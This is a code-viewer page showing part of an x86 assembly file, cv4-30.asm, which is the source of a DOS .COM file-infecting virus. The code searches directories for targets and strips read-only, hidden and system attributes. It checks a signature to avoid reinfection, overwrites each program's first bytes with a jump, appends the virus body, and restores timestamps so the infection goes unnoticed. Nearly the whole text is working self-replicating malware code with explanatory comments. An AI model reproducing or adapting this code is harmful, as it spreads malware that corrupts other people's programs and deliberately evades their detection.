📄 cv4-30.asm
字号:
pop ds ;restore ds STACK
jne Floppy ;if it was hard.... ax <--sp
jmp near ptr done ;we're nice guys and are done
Floppy: ;Since it was floppy, we can go on with the infection!
#ENDIF
;The default DTA, as is will give us problems. The designers of
;MickeySoft DOS decided to put default DTA at ofset 128 in
;the PSP. PROBLEM: This is also where the user's precious command
;line is, and we MUST remain undectected. SO.... we allocate a
;DTA buffer on the stack. 43 bytes are needed, 44 will do.
sub sp, 44 ;allocate space for findfirst/findnext DTA
mov bp, sp ;set up bp as a reference to this area
;Set the DTA
mov dx, bp ;point DS:DX to our area
mov ah, 1ah ;set DTA
int 21h
;Set up pointers to data in DTA
dta equ word ptr [bp]
file_name equ word ptr [bp+1eh]
attributes equ byte ptr [bp+15h]
time_stamp equ word ptr [bp+16h]
date_stamp equ word ptr [bp+18h]
file_size equ dword ptr [bp+1ah]
;We dynamically allocate a variable to store the number of programs STACK
;The virus has infected. FCB drives
; bp--> 44 byte DTA
infected_count equ byte ptr[bp-2]; Infected_Count
xor ax, ax ;zero variable, sp--> buffer (6 bytes)
push ax ;allocate it on the stack
sub sp, 6 ;allocate small buffer
;Now, we begin looking for files to infect.
lea dx, [si - (offset Reference - offset VirusMask)]
;DS:DX points to the search string STACK
mov ah, 4eh ;find first matching directory entry FCB drives (word)
mov cx, 111b ;only default directory, FILES
;hidden, system and normal
int 21h ;doit bp--> 44 byte DTA buffer
; infected count (word)
jnc Research ;carry is clear when a file was sp--> 6 byte buffer
jmp nofile ;found.
ReSearch:
;All handle based DOS calls take a pointer to an ASCIIZ file name in ds:dx
lea dx, file_name
;Since this is a virus, we want to infect files that can't be touched by
;DOS commands, this means readonly, system, and hidden files are at our
;mercy. To do this, we rely on the findfrst/next attributes and other data
;to restore the attribute byte to the original settings. get/SET can fix
;them to be suitable
mov cl, attributes
and cl, 11100000b ;not readonly, system, or hidden STACK
; FCB drives
mov ax, 4301h ;set attributes bp--> buffer (44 bytes)
int 21h ; buffer (6 bytes)
; sp--> infected_count
jnc NoError ;check for error
jmp Restore_Flags
NoError:
mov ax, 3d02h ;now, open file using handle,
;read/write access
int 21h ;
jnc NoError2 ;IF there was an error, we are done
jmp Restore_Flags ;But we don't need to commit or close
NoError2:
mov bx, ax ;The handle was returned in ACC.
;Howwever, all handle based DOS
;calls expect it in BX
;We don't want to infect the program more than once, so we will
;check to see if it is infected.
mov ax, 4200h ;seek relative to start of file
; bx contains handle from open operation
xor cx,cx ;cx:dx is file pointer
xor dx, dx ;
int 21h ;DOIT
;Now, we will read in enough data to see if we have our virus signature.
mov ah, 3fh ;read data
lea dx, [si-(offset reference-offset original_code)]
;into original_code buffer
mov cx, 5 ;5h bytes
; bx contains handle from last operation
int 21h
cmp word ptr [si-(offset reference-offset original_code)+3], 0fafah
jne GoApe ;if we aren't already infected,
jmp Error ;go for it
GoApe:
;Since it is safe to infect, we will
mov ax, 4202h ;seek end of file
xor cx, cx
xor dx, dx
int 21h
or dx, dx ;check for valid .COM format
jz Less_Than_64K
jmp Error
Less_Than_64K:
;Now, we must calculate WHERE the jump will be to. Let's examine the program
;Structure:
;jmp near ptr xxxx
;Cli Cli }These add up to the original length
;Orignal code sans 5 bytes
;Original_Code (5 bytes) }The length of all virus data
;Other virus data is equal to the difference in
;Infect the addresses of Infect and Original_Code
;End_Virus
;Thus, the jump must jump TO (offset Infect- offset Original_Code + Original_Length + origin)
;However, in the 80x86, NEAR jumps are calculated as an offset from the position
;of the next statement to execute (because of fetch/execute cycle operation).
;Since jmp near ptr xxxx takes 3 bytes, the next instruction is THREE bytes from
;The 0E9h jmp near instruction, so xxxx will be (offset Infect-Offset Original_Code
;+Original_Length-3);
;Since AX already contains the original length, we will merely add
;Space for the virus data, and take care of the three bytes
;of code generated by the jmp near instruction.
add ax, (offset Infect - Offset Original_Code -3)
;calculate jump address
mov byte ptr [bp-8], 0e9h ;jmp near instruction
mov word ptr [bp-7], ax ;offset for near jmp
mov word ptr [bp-5], 0fafah ;cli cli
mov ax, 4200h ;seek begining of file
xor cx, cx
mov dx, cx
int 21h
mov ah, 40h ;write patched code
mov cx, 5 ;5 bytes of code
lea dx, [bp-8] ;our buffer
int 21h
mov ax, 4202h ;seek EOF
xor cx, cx
xor dx, dx
int 21h
lea dx, [si - (offset Reference - offset Original_Code)]; set start
mov cx, (offset End_Virus - offset Original_Code) ;set length
mov ah, 40h ;append virus to file
int 21h ;doit
inc infected_Count ;bump up the number of programs infected
Error: mov dx,date_stamp ;restore date
mov cx,time_stamp ;restore time
mov ax, 5701h ;set them
int 21h
mov ah, 3eh ;close file
int 21h
Restore_Flags:
xor ch, ch ;zero hi byte flags
mov cl,attributes ;restore flags
lea dx, file_name ;ds:dx points to ASCIIZ string
;in the buffer, offset 1eh contains
;the file name
mov ax, 4301h ;get/SET flags
int 21h ;Doit
DoAgain:;See if we're done infecting
cmp infected_count, infect_per_run
jae NoFile ;if we're done, same as no new file
mov ah, 4fh ;find next
int 21h
jc NoFile ;if carry is clear, DOIT again!
jmp ReSearch
;Since we have no more files, we will restore things to normal.
NoFile:
mov dx, 80h ;reset default dta at DS:80h
mov ah, 1ah ;set DTA
int 21h
add sp, 52 ;deallocate buffers and infected_count
;Put original code of program BEFORE it was infected back in place!
Done:
pop ax ;restore ax
;FUNKY code! In the 80x86, all NEAR or SHORT jmp opcodes take
;a RELATIVE address...... BUT a retn opcode pops a near absolute
;address of the stack - saves us the trouble of some calculating
;relative to here, and the trouble of a self-modifying
;far absolute jmp! (5 bytes)
mov bx, 0100h
push bx
ret ;easiest jump to cs:100
End_Virus:
_TEXT ends
end start
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -